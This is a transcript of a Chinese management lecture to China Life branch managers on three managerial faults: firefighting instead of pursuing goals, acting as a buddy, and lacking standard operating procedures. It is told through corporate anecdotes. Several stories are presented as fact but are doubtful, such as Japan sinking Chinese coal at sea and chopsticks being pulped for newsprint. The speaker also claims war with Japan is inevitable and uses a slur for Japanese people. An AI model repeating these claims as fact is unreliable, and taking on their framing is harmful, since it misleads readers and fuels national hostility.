所以网络公司叫做泡沫就是这个意思。所以以后千万不要轻易地投资网络公司。高科技不是你想象的那么好赚钱。就这么三家,新浪网、搜狐、网易这三家都出现问题了。你认为原因是什么?这就是我讲的,做一个主管,他的眼睛要非常锐利,对市场要不断地分析。如果他们三年前读过这张图,会有这个情况吗?人家预言过了,你看到没有?三年前就预言过了,公元1997和1998年,世界的世界会爬到最高巅峰,公元2001年市场网络开始开滑,公元2003年会跌到谷底,公元2005年和2006年会慢慢爬起来,2007年会形成一个稳定,从此网络公司会形成一个安定的状态。所以春秋战国时代是最近5年,一直打,最后就开始安静了。就像水桶里面搅过以后,就会慢慢地趋于平静。

这个图是香港分析的,香港人对于IT产业分析得很到位的,他们很快就发现,这个东西不能玩,所以香港人很精明的,把手里的网络股票的抛掉了。因为这种公司现在不赚钱。结果你看那条线,2002年的时候会跌谷底,所以明年更是不得了。网络公司今年就已经是一个秋天,明年是冬天,明年这个时候是冬天的冬天,结果我们三个网络公司要卖了。所以我讲了,一个老板一天到晚只懂自己的东西。在人寿公司当一个主管,是不能一天到晚只研究寿险,政治、经济、社会,贸易统统都要了解,整个广大社会的动向,都要非常清楚的。可话要讲回来,大老板有时间去研究整个市场的动向。未来的人寿会走到什么地步?将来春秋战国开打的时候,谁是主流?谁是非主流?谁是潜在的敌人?谁是现在的敌人?搞清楚这些东西?我们这个市场才能打。天天都只是看客户,甚至连客户都不看,只看自己的业务,那是不够的。

我们看另外一段,这就是刚才要讲的一段,那就是一个老板如果太忙于自己的事情,而没有注意到其它的事情,就会犯了这个看病,这叫只看问题,不见目标。

毛病七:只见问题不看目标

第7个毛病,只见问题,没有注意到目标。我先讲这个标题,什么意思?如果我们每天像消防队一样,其实你注意看,我用这个话来形容是很传神的。消防队大家知道吧,又叫做救火队。因为这个公司制度没有规范起来,对一切的事情没有把它做制度化,于是人人都像消防队,天天忙着救火,旧金山的房子,大部分是木头做的。我在旧金山读书的,博克兰就在那里,但是旧金山火灾很少,你认为为什么?第一个,他们人人都非常具备防火的观念;第二个,学生在消防队没有来前叫做义勇消防队。旧金山学生书包里面有个绿色的臂章,一碰到火灾了。学生就把绿色的臂章统统穿起来,当场就把书包甩在马路旁边,就变成了义勇消防队,开始指挥交通。全部的车子统统疏散。在旧金山开车的一看有绿臂章的学生站在前面指挥交通,就知道那里发生火灾,所有车子通通都疏散,从旁边走开。另外的学生,背上臂章,沿家沿户地敲门,救火了!救火了!这样沿路去敲,整个巷子和街道的人统统起来拿水桶。这时候才听到远处有消防车的声音,这个就叫观念。因为旧金山都有这种观念,所以他们的消防队就不会有那样的紧张,因为没有那么多火灾。

现在把这个话回来讲我们自己,中国人寿主管如果天天都扮演消防队,每个都忙救火,请问是什么原因?就是对火没有观念,所以常常到处冒火,火苗到处乱串,所以人人变成消防队,这样做是错的。一个主管如果每天只处理问题,这个就叫做消防队。他的眼睛就会推动目标。

我们来看看第一段。只注意小处,会丧失创造力,一个人如果天天看小处,他的创造力就会消失。什么道理呢?因为你当一个消防队,忙着救火,我想你没有注意说,为了防火,这个建筑材料要不要改一下,为了防止火灾,居民要不要建立防火意识,为了防止火灾,街道是不是要重新考虑?防火墙是不是要重新设计?那么你要从根本改起,否则就永远在那里救火,永远有救不完的火。

比尔盖茨这个人你一定听说过?哈佛大学二年级被退学,因为一天到晚搞计算机,没有好好读书,就被学校给搞掉了。出去以后自己就开始学软件,写了一些还不错的软件,他就跑去找人家了,他去找的公司是赫赫有名的IBM。IBM,各位先生,各位领导,我开发了一个软件,你看我们有没有合作的机会?人家用我的软件,就会想到你们的硬件,买你们的硬件,就会装我的软件,你看怎么样啊?我回去等你们消息啊!那个比尔盖茨回去等在那个电话旁边,到晚上12点,一通都没有。因为他刚走,人家IBM讲话了,那个小子是谁啊?他的软件配装我的硬件?也不拿个镜子照一照,所以就失去了这个机会。结果比尔盖茨回去就自己开发。成立了一个有名的公司,叫做微软。没有想到这个微软变成今天这个样子,IBm派代表去看他,比尔先生,我们写了一个很好的策划联盟计划,你看看我们有没有合作的机会?人家用我们的硬件,就会想到你的软件,你的软件就结合我们的硬件,我回去等你的电话。结果IBM公司几个主管统统回去等那电话回音,一通都没有。因为比尔盖茨讲了一句话,IBM是什么东西啊!国际大嘴巴,除了会吹,还会做什么?他的硬件配我的软件?全世界包括中国联想,敢说他的计算机不能装我们微软的软件,就没人买。所以他的硬件配我的软件去,瞎了他的眼睛?

美国IBm的总经理,事后写回忆录,写到这个故事,你猜他怎么写的?当初那个生金鸡蛋的鸡来的时候,我没有用金手铐把他铐住,是我一生当中犯的最大的错误。当初那个家伙如果来了,我一个金手铐如果把他铐起来。年薪100万美金,找个小房间,放进去,锁起来,给我开发软件,我就天天钓鱼就可以了,因为那个家伙会替我们IBM创造140亿美元的利润。结果那个鸡跑掉了,你看这么大的IBM,总要检讨自己,说他自己犯了个错误。

一个主管天天注意小事情,就会忘记大事情。当初金童来的时候把他扣住,那么微软就是IBM的了。当初如果这个小地方节骨眼抓住,IBM不晓得要少卖几千万计算机,你给我讲这个错是什么造成的?就是一个主管不能只注意小错,天天看问题,不看目标,就会犯下这个毛病。其实IBM是个大公司,他们都这么谦虚的检讨自己,那么请问,中国人寿有做过这种事情吗?只是那个眼睛只看问题,都忘了创造力,现在我们来检讨一下主管。中国人寿的主管,就是请你们,每天花80%的时间,创造了多少生产力,上面写了,我当然这个字不是为中国人寿写的,但是这句话对很多公司都是正确,就是花20%的时间创造80%的生产力。这就表示,你每天所做的事情,你自己想想看,是不是生产力,都是哪些生产力?

如果我们每天从上班到下班,想想我们每天所做的事情,你会马上就有一种感觉,都是看一些相同的报表,批一些相同的文件,签一些相同的报销单,开一些相同的会,讲的是相同的话,提醒的永远是一些相同的目标,这样叫做创造力极低。

一个人应该说把他的脑筋和他的时间用在有创造力的事情上面。美国福特汽车的大老板,有一次请了个专家来,说专家呀,你帮我们看看,我们这个公司有什么毛病?那个专家就上上下下给他看了一下,临走前跟他说:老板,我回去写份报告。不过那里有个人在那里是晃来晃去不知道在干什么?福特老板讲不是这样的,我们公司谁都能赶掉,那个人不能赶掉。因为我们公司每次出了事情,都是他想起来的。他刚才当然在晃,对不对?他在思考问题,你刚才有没有打搅他,千万不要打搅他,他在思考问题。这个故事给你什么启示?在中国人寿上班,做一个主管,就是把这个脑袋用在生产力上,做的事情对中国人寿有多少贡献,能够提升他多少数字?强化到有多少业绩?有什么方法和策略可想,要去想这些问题。

比如说搞计划的,林经理他在他办公室里开始晃,闭着眼睛在那里晃,单总会发现的,老林,你在那里晃什么。我正在思考问题。单总会怎么讲:慢慢想,慢慢想。单总就会到楼下等他,下班的时候如果还没有想出来,那倒霉了。但如果他想出来了呢,他就可以经常在那里晃,我们宁愿让一个主管闭着眼睛在那里晃,想问题,却不要睁大眼睛,天天批一样的公文,看一样的报告,写一样的东西,对吗?这种观念叫做例行公事。所以讲起来中国人寿给各位的薪水肯定是高一点的,至少比底下人要更高吧!那么多付的这些薪水,得到的是什么?我们研究这个问题,得到是什么?要有更高的生产力,否则我怎么好拿这个薪水呢?难怪底下的人常常讲风凉话你听过吗?哎呀!经理有什么了不起?副总有什么了不起,副总我也会做啊!我今天运气不好!我没有做到这个位子啊!他们会讲这样风凉话的。就是在他的眼中,你跟他差不多。你不过是位子高一点而已,你的生产力是跟他差不多的。你的脑筋跟他也是差不多的,你的创造力跟他也是差不多的。所以做一个主管,要表现他优越的地方,就是我的创造力跟你不一样,我的想象超过你,我的决策力超过你。这个就叫主管,而你不要管我坐在办公室里,我哪怕坐在水池旁边喝咖啡,我也有创造力。那你创造我看,你拿个策略我看?这个叫做厉害,真正的主管要做到这个样子,拿创造力出来,赢服底下的人。所以,尽管你上班的时间比别人长,我们知道的是没有创造力。所以一个主管如果只见问题,不见目标,就会出现这个问题。

江苏有个机械集团,我曾经把汽车配件卖给他们,因为我十年前在大陆做汽车,所以和他们还维持不错的关系。那个机械集团有一年过春节的时候,请客吃饭,那个老总给了我一张贴子,所以我也去了,可是他讲了一句话,我大吃一惊,喝春酒快要结束的时候,他突然讲了这么一句话:各位同仁谢谢了,今天大家来喝这场春酒,等下高级主管全部留下,我们谈谈今年的计划,应该要做些什么?这个话我大吃一惊,但是我没有吭气。一个公司是不能在过春节的时候,或1月来谈今年干什么?应该说明年做什么?今年都要想完了。

所以我们可以做一个简单的小把戏,譬如说我们请5个中国人寿,比如说浙江分公司也可以,找5个主管出来,我们拿5个房间,一个房间请他们进去一个,给他一张A4的纸,再给仔一支笔,叫他写一下。中国人寿浙江分公司,未来两年做什么?未来3年要做什么?未来5年做什么?不要霁10年了,只要晓得5年就好了。如果他们5个写出来的答案完全一样,我就服气了。这表示这公司很厉害,大家对于未来的动向都有一致的看法。通常大部分的公司这东西好象有做,又好象没有做?给每个主管留下来的印象其实并不很深刻,原因就是因为,什么东西一习惯了,大家照这个模式继续的进行下去,对于未来就没有什么看法。

上海很多外企,尤其是中外合资企业,你看的出来,这两种不同文化在里面做的时候,想法就完全不一样了。你看看上海的西门子,还有上海的菲利浦,他们的10年计划统统就做完了,3年之内,一定要把产品拿出来重新整理,5年之内一定要发展策略联盟,10年之内一定要成立两个上中下流的连锁企业,现在就开始规划。那个上海贝尔也是这样做的,所以消息刚刚传过来,上个月刚刚签完字,阿尔卡特和中国上海贝尔合并。所以,从下个月开始,他们的名称叫上海贝尔阿尔卡特,但是英文里面是倒过来念的,阿尔卡特贝尔。不管谁在前面后面,最重要的是这个策略联盟开始了。其实贝尔的那个老总西国华,以前就是上海电信局的局长。我跟他也算是蛮熟的,他请我吃过3次饭,其实他在3年前就跟我在讲,他说我们这个贝尔在中国单打独斗是不行的,我们需要有个策略联盟的对手。所以他在3年前讲过的这句话,今年就实现了,他们跟阿尔卡特策略联盟。

你们想想看中国人寿也是个大企业,是否也应该有这种想法?短、中、长期目标。那我举两个例子说明,大家都有这种想法。一个是日本三菱,他们目标做到公元2100年。三菱公司他说,我们是一个大企业,总资产60兆,员工40万,是不能不这样注意的。其实中国也有很多大企业,员工上10万以上的,所以,他们现在就把计划做100年后了。

另外一个公司也是这样,不是只有日本人会这样想。上海九江路有个公司,APP金光集团,你可能用过他的纸,这个公司是造纸的,也是把计划做到2100年。因为他的情况很特别,因为他是纸业,这个东西必须要想的长远。APP金光集团老板姓王,是个印尼的华侨。他说100年以后,全世界都不准随便砍伐木头,100年之后,中国一定不再允许任何纸张开始申请牌照,给他挂牌,100年以后谁没有自己的纸张厂,谁就不要造纸。所以在App金光集团在广西跟南海,租了250万亩的土地,开始开发树林。因为中国的土地是国有的,通常我们叫出租,而不讲购买。现在就把树苗种下去,种下去以后,那个王老板在广州中国大酒店请全体员工吃饭。讲了这么一句话:谢谢了,各位,我们的树苗种下去了,100年以后,这个房间里面包括我任何人都死了,但是我们的后代,有木头可以采伐。谢谢了,就把酒喝下去了。所以,他们现在就要想到100年以后。这种观念叫短中长期目标。

中国人寿虽然不是一个造纸企业,但是有人想这样一个问题吗?我们把问题,上纲到国家,看看国家在想什么?我们来看一个概念,日本在中国的南方,一直在不停的部署,就是随时准备做好跟中国打杖的准备。所以日本人,在这个事当中,全国都基于这种共识,所以不光日本国防部有这个想法,这个没有什么稀奇,整个日本全国具备这种想法。为什么?我讲两个道理你听听看,他们是否全国皆兵。中国大陆一个河北的石家庄,一个山西的太原跟大同是产煤的地方,你认为最大的买主是谁?日本。其实日本这个国家不烧煤的,你有没有注意到,为什么他大量的向中国采购煤炭呢?其实二、三十年来日本大量不断的向中国采购煤炭,回去以后在日本的下关下船,然后统统用水泥把他封起来,封成一个个石方,然后沉在内部的内海的海底。听说现在已经沉下去半个太原,这个煤炭是准备将来跟中国打仗的时候要用的。公元2015年至2020年,中国跟日本可能开为。这时候中国的核潜艇可能封锁他的太平洋,中国如果那时有航空母舰,可能出动在日本海,日本的主力舰如果跟中国不能突转,就把这个煤炭挖起来烧。所以,现在就开始在采购了。所以,中国一船一船的煤向日本去,统统沉在他的海底,不知他心中有什么想法?

第二件事情,从人造卫星,看下去,整个日本是条绿色的,你知道为什么吗?因为他们的树一棵都不吹。所以在日本砍任何一棵树,都要经过日本政府的许可,因为他们把森林看成重要的资源。可是全日本都用筷子,那怎么办?就中国东北、黑老江、大兴安岭的木材统统向日本出口,从乌苏里江送下去,在海参崴整装了以后,向日本外销。所以日本人买的全部是我们东北的木头,买回去以后全部削成筷子,给一亿一千万人口使用。当他们吃完以后,没有一根筷子是丢掉的,全部收起来,再给他磨成纸浆,卖给人民日报印报纸。所以人民日本印报纸的纸浆全部是自己的木头,不过是在日本的嘴巴上面转了一圈。

这两个故事,给你一个什么启示?一个国家要有危机感,就要像这样子,全日本都有这种危机感。每一根筷子都不丢,知道那个是纸浆的原料,每根筷子来自中国的木头,知道自己的树是不能砍的。所以这个图,在他们那里讲是一个国民意识,就是中国的南方非常的小心。日本的海军一直在刺探中国的情报,很少有人知道日本海军的总人数,已经是世界排名第二位,已经超过了俄罗斯了,仅次于美国,他还叫做海上自卫队。其实只差航空母舰和主力舰没有做,其实是个标准的海军,他只是称他为自卫队。但是做军人总要有磨练的机会吧!有机会要打打杖吧!所以他一找到机会,就总是要操兵一下,练一下。

这张照片是刚刚照没有多久的,日本出动运输机,支持阿富汗战争,其实那地方挥手的统统是日本军人。那个飞机已经在巴基斯坦,所以日本为了这个事情出动。为什么?做军人就是要常常练习练习,所以日本的军队好久没有打仗了。上一次打了波斯湾战争,日本就想要参战,美国总统就是现在那个小布什的爸爸没有同意。这一次日本人又出动了,这一次他们美国改变了一个方针,允许日本做后勤。所以他们的运输部队,后勤部队就统统出动了。日本实际很想参加前卫部队,希望美国让日本参加,打那个野战。可是美国怎么想,都觉得不太妥当。所以日本的前卫部队到现在没有出动,下次如果世界上再有什么战争,日本兵还希望出兵,来练习练习他的野战部队。其实他们在做打仗的准备,积极地做好跟中国战争的准备,中国是亚洲新列强,日本是亚洲霸权,这两个国家非打一仗不可。不打一仗,不能够岁了,没有办法了,你们的小宝要上学了,注意你们的小宝的EQ,注意他的管理,注意他从小长大的生活习惯,到那时你们家的小宝,是跟日本家的小宝,一起打仗,我们看看是谁的训练比较好。

中国跟日本100年打一次,19世纪干了场甲午战争,我们输了,20世纪又打了8年抗战,我们又输了,要不是美国丢了两颗原子弹,我真不晓得、真难想象,中国是否要亡国了。我到日本去的时候,你猜他们讲了句什么话?我们是一头野狼,挨了十几拳,死于两颗枪弹,那十几拳就是中国,那两颗枪弹,讲的就是美国,这句话全日本都在讲。我们是一头野狼,挨了十几拳,死于两颗枪弹。这个是他们永远记住的,21世纪跟中国再干一仗。万一又输了,我们中国就22世纪,100年打一次,这件事情全日本都记在心上。我们现在搞经济发展,不承认错误,至少要有这种忧患意识。所以,我觉得美国其实不是中国的心腹大患,美国那个家伙,喜欢当老大,没有事就过来问,你看谁是大哥?那当然是你了,老大!他就说,说得也是!走了,他就走了,你就不要管他了。他对中国没有领土野心。倒是那个小日本就不同了,一碰到的时候就说,日中友好,一边握手,一边在那里磨刀。没有事就嗯搞你一下。,所以我们躺在旁边那个日本,我晚上都睡不着觉。那个美国,我坦白讲,我真的无所谓。

以我对这两个民族的了解,因为与这两个民族交往了20几年,不是读书就是就业,不是出差就是在那开会。所以,我到现在还有一大堆的美国和日本朋友,我对这两个民族的看法始终是耿耿于怀。所以,我始终认为日本这个国家,迟早要跟中国干一仗的,因为他们天生下来就是缺少资源。为了活下去非打不可,你认为怎么办呢?虽然这个问题是个国家问题,那么跟企业不是完全一样吗?难道中国人寿不能想象,我是一个缺少市场和资源的企业吗?我也要在人家的腰上咬一口啊!不是一样的道理吗?那人家也是这样想你们的,也是在你的腿上开饭吃一口肉,也是一样的嘛?所以每个企业都要有短中长期计划。你们的计划是什么?我们不用讨论,那时有没有,你自己在心里想想看。

毛病八:不当主管,只作哥们

这是个北方俗语。这要回到我们上午特别提到的一个概念,人情管理和人性管理是不一样的!哥们就是人情管理,一天到晚讲哥们,讲兄弟。同样的老道理的,一个人不是涌对底下的人讲点人情、人性。但是记住一件事情,我最怕的是坏了公司的纲纪。今天晚上喝酒,搂着他的腰。明天早上他迟到了,你好意思讲他吗?今天你儿子满月,他来送礼,明天他多报销500元钱,你感揪出来吗?这个就叫哥们,我将的就是这个。一天到晚就讲难兄难弟,真正碰到事情就做不下去。所以我最怕的就是人情,表面上装的是人性,骨子里面其实是人情。最可怕的是坏了公司的规矩。

我们来看看第一个道理,兄弟跟经理人不是不可以,但是要弄成个成功的混合体,我们发现这种情况并不存在。汉高祖刘邦,打下天下。请军臣们一起喝酒的时候,有一个家伙坐到他的桌上,那天刘邦他喝多了,有个家伙居然就放肆起来,坐到他的桌上说:阿邦啊,这场仗打得正过瘾,项羽那个老家伙终于自杀了。来,喝一杯。刘邦说;不,不,不,我喝太多!你喝太多,你不喝我从你头上灌下去,就喝了。第二天,刘邦的手下就跟他讲了,主子啊,这样下去不行,自古以来打天下的都是草莽英雄,治理天下的都是文臣谋士,老红军打下去就要休息了,记他们去休息,另外搞1帮人出来治理国家。这样下去会坏了纲纪。刘邦说,那你看怎么办?刘邦的手下替他设计了朝廷典章文武制度。中国朝廷有制度,从汉朝开始。就是因为这样。以后刘邦一上朝就不一样了,刘邦一上朝,文武百官在地下朝拜,我王万岁!万岁!万万岁!刘邦说,哎呀当皇帝这么潇洒。从今以后中国男人都喜欢当皇帝,这种制度从汉朝开始,从今以后群臣跟主官是分的很清楚的。

你看过电视连续剧《宰相刘罗锅》吗?到最后的时候,有个镜头是刘罗锅就是刘墉在跟洪干隆皇帝洗澡,当那个刘墉替干隆皇帝擦背的时候,冒了这么一句话:我说弘历啊!洪是干隆皇帝的字号,就像康熙得字号叫玄烨一样,我说弘历啊!干隆皇帝马上大声说,放肆!洪历是你叫的吗?什么东西?刘罗锅马上跪在地上说,小的该死。你看过这个镜头吗?这叫伦理!皇帝就是皇帝,怎么叫起弘历来了。那你想想看,你这样的情况这样做起来是一样的道理。我们单总就是单总,你能说我说老单啊!你能这样讲吗?总经理就是总经理呀!所以这时候要分辨清楚,所以刘邦这个道理就可以看得出来,这个叫做伦理。我最怕大家以人性管理为出发,结果弄成个人情管理,最后弄得个败坏纲纪。因为相面有这么一句话,在员工的面前,如果你不慎重,就是既不尊重他们,也作贱自己。

两个例子,第一个,美国西点军校的历史。美国的西点军校世界闻名,我其实跟西点军校没有甚么渊源,但是那是一个偶然的机会,让我能够去看一下。我一个同事,要跟我去耶鲁大学,他的弟弟在西点,他跟我说,我弯过去看看我弟弟,你愿不愿意去!平常难得有机会,还进不去,我跟他去西点军校。我在西点军校里面,发现他们有3种俱乐部,一种叫做军官俱乐部,是给军官们打桥牌的地方。另外一个士官俱乐部,而是给教育班长们喝酒的地方。第三种士兵俱乐部,是给学生们打球的地方。如果你说美国是个自由的国家,请问,为什么俱乐部要分成三种?就是不要坏了规矩。你想想看,如果你和一个主管在一起喝酒,你的部署在底下起哄,如果你跟一个客户在外面应酬跳舞,你的部署在旁边拍手,像个样子吗?这就叫坏了规矩。

第二个例子,是我自己的例子。日本航空,我在日本航空工作了12年。他们有个习惯,日本人通常饭后喝酒,中午吃饭就开始划拳了。他们是先吃饭然后再喝酒,那一场酒,就是要到别的地方去,他们叫你去干,就是第二会。他们有个规定,相当我们的总经理,个别再干。他们讲的课长,相当于我们的经理。他们讲的系长相当于我们的主任。来看三路人马,兵分三路。你知道为什么吗?人一喝酒容易失态,所以尽量不要混在一起。结果有一次纽约站的站长,就是总经理到台湾看我,我是高雄站的站长,就是台湾这边的副总,其实我们的级别是一样的。那天晚上,就是我们两个,个别隔开,没有想到那个家伙喝了酒之后失态,平时大概工作压力太大了,抱着酒店老板娘的大腿一直哭,哭得人家旗袍都湿了,结果连拉带拽带哄地把他送到酒店睡觉。第二天早上,一看到我就说,昨天晚上真对不起。什么事啊?我好象喝了太多的酒。那里有?而且喝了酒以后,还有点失态。没有哇!怎么会?他还说,大概忘记了。忘记了,我到今天都记得!忘记了。但是这个事情就这样过去了,我没有吭气,他就算了。还好,这个世界上还好只有我看到他去做什么。那天晚上如果我16个干部也在那,看来他抱人家的大腿在哭呢!这不是狼狈吗?这种事情就叫做分得很清楚。所以我发现很多大公司、大企业,他们都把这个事情分得很清楚。

当然我们也可能跟部下一起喝酒。我有个习惯,我从来在部属面前没有喝醉过,我这辈子只醉过一次,在山东青岛被人家陷害,给我喝个潜水艇。一大碗啤酒,中间扣个白酒,吓死我,我知道这个叫潜水,那提晚上干了2条潜水艇,就昏过去了。我这辈子就这么二次,被人家陷害。当然青岛人热情,他们搞搞我,我也算了!还好,那天我的部下也是不在。我不是个很会喝酒的人,但是喝到七八分我就不再喝了,免得失态。在部署的面前,我从来没有吐过,要吐回家去吐。反正在部署面前不要失态。因为我们以后带他们很难带。你难兄难弟的一打成一片,以后就没办法带的。跟你的部署在一起,注意就是专业就是公事。主管没有什么私人事情,只要跟部署在一起,统统都是专业,统统是公事。

假如中国人寿浙江分公司,要在分公司的地方举行一场郊游,我们打算到宁波的海边去渡个假。假如分公司这个地方员工连眷属一共有200名,结果报名的只有120名,80名不去,那么单总知道为什么吗?从杭州出发往宁波港的时候,一路上有人谈公事有人谈私事,有人闭目养神,单总知道为什么吗?到了宁波以后,那天晚上要到那里去住,结果去的人数跟房间对不牢,好象安排得不太对,单总知道发生了什么事?第二天讲好了,在宁波海边,大家要烤肉,结果有人去海边烤肉有人在松树地下躺着,等人家烤完弄给他吃,单总知道为什么吗?然后从宁波回杭州,一路上讲好要做游戏的,结果零零星星几个人唱了点歌,其它的统统在打呼噜,单总知道为什么吗?最后在杭州讲好了吃一个晚餐,大家再解散,结果120个里面又跑掉了60的,只有60的吃饭,单总知道为什么吗?这种观念叫做公事,你的部下可以放松,可以放荡,他们可以做了,你不行,主管就是主管。主管要注意到,公司每花一角钱,都要有它的意义,每一分预算都要达到效果。我们要摆在心里,让他们去做了,我们不行。

雍正皇帝即位的那一天,六阿哥去找他,六阿哥扣门,咚咚!守门的门房,一看啊!六阿哥!请问,有什么事?我要见皇上?马上去禀报雍正皇帝的秘书,其实他所谓的主事。那个主事姓邬,邬先生就问,什么事啊,惶惶张张的?六阿哥要见皇上,你猜邬先生是怎么回答呢?你告诉他,如果是朝中大事,请找张中堂,如果是军机,请问13爷。如果事私事告诉他天子没有私字。我看《雍正王朝》看到这一段,心中很触动。所以,以后看任何连续剧,看任何电影,请注意这种环节。讲得真好,告诉他天子没有私事的。所以做一个总经理、副总经理是没有私事的,在你的员工的面前统统都是公事,什么事情都是公事,都是专业。所以自古以来大家的想法是完全一样的,难兄难弟的合在一起就垮了。

毛病九:没有设定标准

。因为完善的公司,都有自己的政策,一个完善的公司,必定会有标准。这个标准是什么意思呢?就是有一套制度,有一套规章,有一套做事的程序,这个统统都叫做标准。有些小地方就是一个标准,你看五星极、四星级、三星级到底差在哪里呢?我等下再讲,我先拿一个例子来说明,为什么完善的公司都有着自己的政策,我们看一个例子。

厦门航空,其实厦航发生了一件事情,自从那个事情以后,反而越做越好了。厦门航空的飞机,有一次起飞,当然这是以前的事,现在不会犯这个毛病了。飞机起飞的第一件事是什么?你们都坐过飞机的,收轮子啊!结果那个轮收不起来了,那个开飞机他骂妈的,又下去了,你猜测发生了什么事?这个插销没有拔,结果卡啦一拔!又飞起了,他又说妈的。这两个妈的,600磅航空汽油全部烧掉。最重要的还不是汽油问题,你跟客户怎么交代?飞机刚说起了就会飞下来?人家都吓死,不知出什么事?你能广播吗?你敢广播吗?各位旅客,不要惊慌,不要惊慌!我们现在下去只是插销忘了拔。你敢这样广播吗?痛苦啊!很多乘客吓一跳,以为恐怖分子摆了炸弹。结果他们老总发脾气,混账东西,出这种事情!我们厦门航空还要不要干了。结果他写了一张A4纸,如何不忘记拔插销,心血来潮,写了张A4纸,写下了几个步骤。从今以后厦门航空就没有忘掉把任何一个插销。

从今后厦门航空,拔插销以后,那个人要后退15步,手举起来,那个开飞机的定会看到,他的手就会这样,表示我看到了。那个拔插销的手就会放下,那个手一放下,拖飞机的就开始拖了。所以从今以后就没有忘记任何一个插销。这种观念,叫做SOP,标准作业程序。结果厦门航空,越写越有劲,结果那个老总就开始编标准作业程序,每个部门都编,现在变成一套,摆到他们的驾驶舱。从今以后他们公司的声音就越来越小了。一个公司如果常常讲话,互相一丝不苟地在问问题,就是这个公司没有认识过的,以后出了事情,他们公司很简单。那个老刘啊,把那个蓝色的拿下来,第三代,这是你的错。他们公司红色的是公安,蓝色的是航管,黄色的是业务,绿色的是地勤,一套一套的编出来,统统写下来。

SOP这个名词我们看一下,从今以后,他们就不会再有这种问题的。一个公司要有2本书,才能去跟别人打仗,叫做企业的二本手册,1本叫做红皮书,就是作战纲领,我们跟人家打仗是怎么打?这叫红皮书。另外1本是蓝皮书,SOP标准作业程序,底下有他的英文。一个公司有这2本书,第一个,怎么打仗?第二个怎么作业?这两本书叫做圣经,是公司的2个宝。我们以后所有的高级干部,所有的公司,在作战的时候就赁这两本手册,所以策略一定要把它编出来。那是我们打仗是怎么打的?SOP一定要编出来,我们的作业是这么做的?当然我也相信,中国人寿是不可能一点规定都没有的。

那么我想讲的二件事情,第一个,你那个规定显得太抽象,写得大名义,写得太模糊,对细节并没有规范。第二个重要的要点,并没有卡住他,所以那个东西写写写就变成抽象的文章,并没有卡住他那个重点。我讲这句话,就故意要讲一个五星级的事情。这个酒店几星级,我不去管它,但是我提醒你五星级和四级,那一颗星它中间最大的差别,就在于SOP那个节骨眼没有把他扣住。我在泰国东方饭店住过,那个饭店就是五颗星的五颗星,你就注意,他有些细节是我们一般人做不到的,这就是我们认为他的最困难的地方。第一个,我早上一起床,门一打开,这个走廊尽头有个漂亮的泰国小姐。一看我那个门打开,走过来,就说,早上好,余先生。叫我早不稀奇,知道我姓余很难。我马上就问他,你怎么知道我姓余?先生,昨天晚上你们睡觉的时候,我们要记住每个房间客人的名字。棒!后来我从四楼,坐电梯下去,到了电梯门口一开,有一个泰国小姐站在那边,早好好余先生!你知道我姓余?背我的名字,怎么可能?先生,上面有电话下来,说你下来的。棒!然后我就去吃早餐,吃早餐的时候送来了一个点心。我就问她,这中间红的是什么?他们的小姐看了一眼,后退一步说,那是什么。那旁边那个黑黑的是什么?她又看了一眼,后退一步说,那只是什么。他为什么后退一步?他的口水会碰到我的菜。但是你到上海叫个菜试试看,你问她这是什么?好吃!好吃啊!那你吃吧!这就是五颗星与四颗星最大的区别。后来我过去上洗手间,洗手音里面有个男的,这个不稀奇,我没有想到我在小便池一站,他就给我按摩,敲我的肩膀。我刚开始吓一跳,尿不出来,后来觉得很爽,后来我就伸手到洗脸坛里面,他就马上过来,帮我水打开,当我手洗完拿起来,他马上给我一块毛巾,我一擦完后,心甘情愿地抛一张5元钱的小费。泰币五元相当于人民币1.5元。其实没有什么钱的。他就说谢谢!我走到走廊尽头回头看看,还在谢,他们规定要谢到看不见为止!回去感到怎么吃都很爽,又上了次厕所,又爽了一下,又看到他谢到看不见为止。

这个酒店会做到今天这个地步,你知道我问他件什么事情?我其实在泰国呆过3年,开发两个工业区。所以,我对开发工业区,其实很有心得的,在那个时候做了不少生意。因为那里酒店我常常去,我就认识他们的销售总监,我就跟他聊起来,我说你们这个酒店正是没有话讲得,五颗星的五颗星啊!全世界前10名,但是我从来也没看见过你们登过广告。他讲到秘诀了,他说你讲得对,余先生,我们从来不刊登广告的,因为我们每年应付回来的老客人就应付不完!他们每年象候鸟一样地飞回来,所以我们不需要登广告。有一对英国夫妇,还说发誓要死在这里。每年回来,发誓要死在这里!我们说如果你们不幸死在我们这里,我们光荣地把你的遗体送回英国。一个客人如果发誓要死在这里,你认为这种酒店还用登广告吗?你们就在每年夏天夏天像侯鸟一样的飞回来。所以这样就叫做生意。

你想想看,五颗星是这样子好拿的吗?多的那颗心差的就在这节骨眼上,就是这种细节,所以他跟别人不一样。他就有这个本事在见到你的时候,叫出你的姓。别的酒店就是做不到,这个就是他跟人家的区别。你认为这种东西真的很难吗?这就是细节,所以sop就是细节,规范那些小小的地方。今天中午我起床,通过那个房间绕过来,这个酒店两个小姐碰到我,像不认识一样。后来我就问他一个问题,我说那一直走过来能走到会议厅吗?她说大概是吧!我以为他今天第一天上班,大概是吧!他如果不知道可以原谅吗?而且跟我讲话的时候一面讲,一面往前走,这种态度其实是不正确的。当然我无所谓,我主要的目的不是看他们两个。但我就在纳闷,这个酒店的小姐是谁在训练?这个酒店的软件是谁在规范?这个酒店应该给他挂几颗星?就这个道理,所以你不要看这个酒店这么漂亮,欧美的不过这个样子,通通都是硬件,最困难的就是人的软件。那么你一看到这个名字SOP,你会不会想到,难道就是老外知道这个事情。不是,我们中国祖先是很有智能的,我们中国祖先很早就懂这个道理。我母亲,姓爱新觉罗,我外曾祖父是曾亲王,我外祖父是中央银行的副总裁,我妈妈出生是贵族,她是曾王亲,所以我外曾祖父曾亲王的时候,我外曾祖父就在北京,住在曾清王府,我的外祖母,其实是格格,他们都是在光绪和宣统年间。我妈生出来的时候已经到了民国的时候,但是我的外祖母她常常讲很多故事给我妈妈听。小时候我妈妈带我到河边去洗衣服的时候,她也会讲给我听,有很多事情就是从他那里听来的。我母亲很喜欢看连续剧,尤其清朝时候的,像《满清十三王朝》,《还珠格格》,《雍正皇帝》,《康熙大帝》,《宰相刘罗锅》,她就很爱看。可是每次她一看,她就说,演错了,演错了。其实并不是故意要演错,是为了热闹。像还珠格格,小燕子赵薇,吱吱哇哇,那个样子,早拖出去砍了。我妈说,清朝紫禁城里面是一点声音都没有的。因为完全凭SOP作业,虽然他们并没有这个名字。

